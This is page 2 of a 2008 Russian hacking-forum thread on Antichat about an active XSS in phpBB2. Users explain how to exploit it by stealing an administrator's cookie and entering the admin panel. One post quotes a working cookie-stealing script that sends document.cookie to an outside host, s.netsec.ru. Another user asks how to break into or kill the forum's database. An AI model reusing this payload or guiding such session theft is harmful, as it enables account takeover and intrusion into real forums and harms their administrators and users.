ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Форумы
Перезагрузить страницу !!! phpBB2 новая активная XSS !!!
   
Ответ
Страница 2 из 2 < 1 2
 
Опции темы Поиск в этой теме Опции просмотра

  #11  
Старый 19.05.2008, 00:11
Аватар для BioReactor
BioReactor
Новичок
Регистрация: 27.02.2008
Сообщений: 3
Провел на форуме:
42246

Репутация: 2
По умолчанию
А как через эту уязвимость можно залезть или убить бд???
 
Ответить с цитированием

  #12  
Старый 19.05.2008, 11:16
Аватар для KIR@PRO
KIR@PRO
Постоянный
Регистрация: 26.12.2007
Сообщений: 353
Провел на форуме:
905389

Репутация: 332
Отправить сообщение для KIR@PRO с помощью ICQ
По умолчанию
ты можешь узнать Cookie админа и там уже через админку......
 
Ответить с цитированием

  #13  
Старый 19.05.2008, 12:11
Аватар для BioReactor
BioReactor
Новичок
Регистрация: 27.02.2008
Сообщений: 3
Провел на форуме:
42246

Репутация: 2
По умолчанию
А этот скрипт работает через сервера или через клиента, тоесть когда заходят на заражённую страницу, то инфа посылается через сервер где находится страница или через клиента, котрый зашёл на страницу???
Цитата:
<script>img=new Image();img.src="http://s.netsec.ru/xx.gif?"+document.cookie;</script>
 
Ответить с цитированием

  #14  
Старый 19.05.2008, 18:45
Аватар для bottanikk
bottanikk
Новичок
Регистрация: 21.02.2008
Сообщений: 1
Провел на форуме:
42659

Репутация: 0
По умолчанию
на большинстве форумов нет опции приложения файлов. Это значит она отключена или просто не та версия форума?
 
Ответить с цитированием

  #15  
Старый 20.05.2008, 15:40
Аватар для BioReactor
BioReactor
Новичок
Регистрация: 27.02.2008
Сообщений: 3
Провел на форуме:
42246

Репутация: 2
По умолчанию
Цитата:
Сообщение от bottanikk  
на большинстве форумов нет опции приложения файлов. Это значит она отключена или просто не та версия форума?
Возможно и отключена, а возможно на форуме вообще не установлен модуль (File Attachment Mode)
 
Ответить с цитированием

  #16  
Старый 25.05.2008, 13:16
Аватар для KIR@PRO
KIR@PRO
Постоянный
Регистрация: 26.12.2007
Сообщений: 353
Провел на форуме:
905389

Репутация: 332
Отправить сообщение для KIR@PRO с помощью ICQ
По умолчанию
BioReactor со стороны клиента
 
Ответить с цитированием
Ответ
Страница 2 из 2 < 1 2



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Активная XSS на mail.ru Dronga E-Mail 69 05.04.2008 01:56
Новая XSS на форуме phpBB 2.0.19 NeMiNeM Форумы 6 26.10.2006 21:30
Cross Site Scripting FAQ k00p3r Уязвимости 6 12.06.2005 16:23



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ